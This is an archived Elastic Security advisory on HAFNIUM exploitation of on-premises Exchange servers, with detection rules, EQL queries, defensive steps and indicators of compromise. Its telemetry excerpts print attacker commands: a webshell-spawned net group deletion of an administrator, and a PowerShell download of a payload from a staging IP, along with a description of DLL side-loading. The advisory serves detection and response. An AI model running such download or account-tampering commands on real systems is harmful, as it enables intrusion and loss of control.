Detection and Response for HAFNIUM Activity - Elastic Security - Discuss the Elastic Stack

Published: 2021-03-04 · Archived: 2026-04-05 13:51:48 UTC

Detection and Response for HAFNIUM Activity

Executive summary

On March 2, 2021, Microsoft released a security update for on-premises Exchange servers to address vulnerabilities being exploited. Security vendors are seeing these vulnerabilities being actively exploited, confirming an imminent threat of leaving systems un-patched. Elastic Security Intelligence & Analytics shares information about detections for this activity, and observations about exploitation in the wild.

Details

On March 2, 2021, Microsoft released a security update describing several 0day exploits targeting on-premises Microsoft Exchange servers. Four published vulnerabilities relate to this activity, for which Microsoft released a patch. The vulnerabilities include CVE-2021-26855, CVE-2021-26857, CVE-2021-26858, and CVE-2021-27065.

As reported by Volexity and other security vendors, adversaries exploiting these vulnerabilities may install webshells that function as backdoors. With privileges of the IIS web server, adversaries harvested credentials, conducted reconnaissance, extracted and stole MailBox content and created new users. Elastic Security Intelligence & Analytics has summarized capabilities related to these behaviors to address affected users.

Elastic has also observed evidence of this activity in our telemetry, and we've contacted affected customers. One behavior we observed was the deletion of the administrator account from the "Exchange Organization administrators" group (Figure 1) .

> **process** c:\windows\system32\inetsrv\w3wp.exe -ap "MSExchangeOWAAppPool" -v "v4.0" -c "D:\Program Files\Microsoft\Exchange Server\V15\bin\GenericAppPoolConfigWithGCServerEnabledFalse.config" -a \\.\pipe\iisipmef9e2062-cd51-4823-8d4c-6e9b40d777df -h
> └── **process** "cmd" /c cd /d "C:\\inetpub\\wwwroot\\aspnet_client\\system_web"&net group "Exchange Organization administrators" administrator /del /domain&echo [S]&cd&echo [E]
> └── **process** net group "Exchange Organization administrators" administrator /del /domain
> └── **process** C:\Windows\system32\net1 group "Exchange Organization administrators" administrator /del /domain

Figure 1 - Process ancestry of net group command removing administrator account

Threat researchers observed unusual descendants ("cmd.exe", "powershell.exe") of the Exchange IIS webserver ("w3wp.exe") that involved remote network connections (86.105.18[.]116). Our observations have been independently corroborated by others in the community (Figure 2) as malicious. While this activity resembles the HAFNIUM activity group, these observations may represent opportunistic or other threats.

```
Event 1
  authentication_id: 999
  command_line: powershell  (new-object System.Net.WebClient).DownloadFile("http://86.105.18.116/news/code","C:\users\public\opera\code")
  elevated: True
  elevation_type: default
  event_subtype_full: creation_event
  event_type_full: process_event
  integrity_level: system
  md5: 7353f60b1739074eb17c5f4dddefe239
  opcode: 1
  original_file_name: PowerShell.EXE
  parent_command_line: "C:\Windows\System32\cmd.exe" /c C:\users\public\1.bat
  parent_process_name: cmd.exe
  parent_process_path: C:\Windows\System32\cmd.exe
  pid: 15752
  ppid: 3520
  process_name: powershell.exe
  process_path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  serial_event_id: 1158978804
  sha1: 6cbce4a295c163791b60fc23d285e6d84f28ee4c
  sha256: de96a6e69944335375dc1ac238336066889d9ffc7d73628ef4fe1b1b160ab32c
  signature_signer: Microsoft Windows
  signature_status: trusted
  timestamp: 132592565941441520
  timestamp_utc: 2021-03-03 14:49:54Z
```

Figure 2 - Adversary download of malicious BATCH script, observed by Elastic

Elastic found that adversaries ran a malicious BATCH script (“1.bat”) which downloaded a legitimate version of the Opera browser (“opera_browser.exe”) and a malicious DLL (“opera_browser.dll”) before launching MSIExec (“msiexec.exe”). On execution, the Opera browser automatically loaded the malicious DLL due to a side-loading vulnerability, then injected shellcode into MSIExec.

Overview

- National Institute of Standards and Technology (NIST) assigned a critical CVSS score of 7.8 - 9.1 out of 10 based on remote code execution without authentication
- The vulnerability affects on-premises Exchange servers which are self-managed
- The initial activity was reported by Microsoft and attributed to “HAFNIUM,” which Microsoft describes as a China-based threat; note general adoption of this methodology by opportunistic threats is likely

Timeline of events

- March 2, 2021 - CVE-2021-26855, CVE-2021-26857, CVE-2021-26858 and CVE-2021-27065 issued to vulnerability
- March 2, 2021 - Microsoft released patch
- March 3, 2021 - Elastic observes post-exploitation activity via telemetry
- March 4, 2021 - Elastic releases related public detection logic

Impact

Microsoft asserts that these vulnerabilities affect all on-premises Exchange servers (Exchange Server 2013, Exchange Server 2016 and Exchange Server 2019) and issued an update for Microsoft Exchange Server 2010 for completeness. Exchange Online is not affected.

Notably, the initial attack requires on-premises Exchange servers to be accessible to the public Internet via port 443. Attackers with access to enterprises where Exchange servers are internally accessible may be able to exploit unpatched vulnerabilities related to this activity.

The associated HAFNIUM exploit chain leverages multiple tactics and techniques categorized by the MITRE ATT&CK® framework:

- Tactics
    - Credential Access
    - Collection
    - Command and Control
    - Execution
    - Lateral Movement
    - Persistence
- Techniques/Subtechniques
    - OS Credential Dumping
    - Email Collection
    - Archive Collected Data
    - Web Service
    - System Services/Service Execution
    - Remote Services
    - Create Account

Detection

Detection logic

On March 4, 2021, Elastic released guidance describing Elastic Endpoint rules that target this cluster of activity (HAFNIUM) in the public repository:

- Potential Credential Access via Windows Utilities
- Exporting Exchange Mailbox via PowerShell
- Encrypting Files with WinRar or 7z
- Connection to Commonly Abused Web Services
- PsExec Network Connection
- Suspicious Process Execution via Renamed PsExec Executable
- Remotely Started Services via RPC
- User Account Creation

Additionally, two new behavioral rules for Elastic Endpoint have been created in light of this newly reported activity:

- Microsoft Exchange Server UM Spawning Suspicious Processes
- Microsoft Exchange Server UM Writing Suspicious Files

On March 4, 2021, Elastic also released guidance describing Elastic Endgame rules that target this cluster of activity. The following rules can be enabled:

- Creation of an Archive File
- Encrypting Files with 7Zip
- Webshell Detection

- PsExec Lateral Movement Command
- Suspicious PowerShell Downloads
- Enumeration of Administrator Accounts

The following supplemental queries for Elastic Endgame may also be recommended:

Memory Dump via Comsvcs (Endgame EQL):

The detection logic in Figure 1 (below) identifies suspicious or unexpected use of a native application (“rundll32.exe”) to perform a process memory dump. This activity may indicate an attempt to obtain process memory from LSASS, which may contain credentials.

```
process where subtype.create and process_name = “rundll32.exe” and command_line == “MiniDump full”
```

Figure 3 - Memory Dump via Comsvcs

Descendants of IIS (Endgame EQL):

The detection logic in Figure 2 (below) identifies unusual descendants of the IIS webserver process (“w3wp.exe”). This activity may indicate commands or other observable behaviors related to the use of a persistent webshell.

```
process where subtype.create and parent_process_name = “w3wp.exe”
```

Figure 4 - Descendants of IIS

Creation of an Archive File (Endgame EQL):

The detection logic in Figure 3 (below) identifies file operations related to common archiving utilities. This activity may indicate an attempt to obtain process memory from LSASS, which may contain credentials.

```
file where not subtype.delete and wildcard(file_name, “.7z”, “.rar”)
```

Figure 5 - Creation of an Archive File

Defensive recommendations

1. Review and implement the above detection logic within your environment using technology such as Elastic Endpoint, Winlogbeat, Filebeat, Packetbeat, or Network Security Monitoring (NSM) platforms such as Zeek or Suricata.
2. Review and ensure that you have deployed the latest Microsoft Security Updates for Exchange Server, consider other recommendations from Microsoft for Exchange hardening.
3. Maintain backups of your critical systems to aid in quick recovery.
4. Perform routine vulnerability scans of your systems and patch identified vulnerabilities.

References

1. CVE-2021-26855 | Microsoft Server Remote Code Execution Vulnerability
2. CVE-2021-26857 | Microsoft Server Remote Code Execution Vulnerability

3. CVE-2021-26858 | Microsoft Server Remote Code Execution Vulnerability

4. CVE-2021-27065 | Microsoft Server Remote Code Execution Vulnerability

5. HAFNIUM targeting Exchange Servers with 0-day exploits

https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/

6. Operation Exchange Marauder: Active Exploitation of Multiple Zero-Day Microsoft Exchange Vulnerabilities

Indicators of Compromise

Table 1 describes atomic indicators of compromise (IOCs) observed in this intrusion-set. IOCs observed by Elastic have been included for the community, and don't represent all IOCs associated with HAFNIUM or HAFNIUM-inspired intrusions.

Artifact	Note	SHA256
1.bat	Batch Script, automates download and execution	Not recovered
[shellcode]	Encrypted object	4e3b7cb4cebe2b00645dda08a229f6fdc914a46968444c4afc99e675c926c8a2
opera_browser.exe	Legitimate Opera browser application	5aa7c379eb054a745d3c187f877fea6fe2b9bd3792365714a8a52c2504d4ac07
opera_browser.dll	Malicious DLL, side-loaded by opera_browser.exe	b212655aeb4700f247070ba5ca6d9c742793f108881d07e4d1cdc4ede175fcff
86.105.18[.]116	Staging site, hosts files used in this activity cluster	N/A

Table 1 - Indicators of Compromise
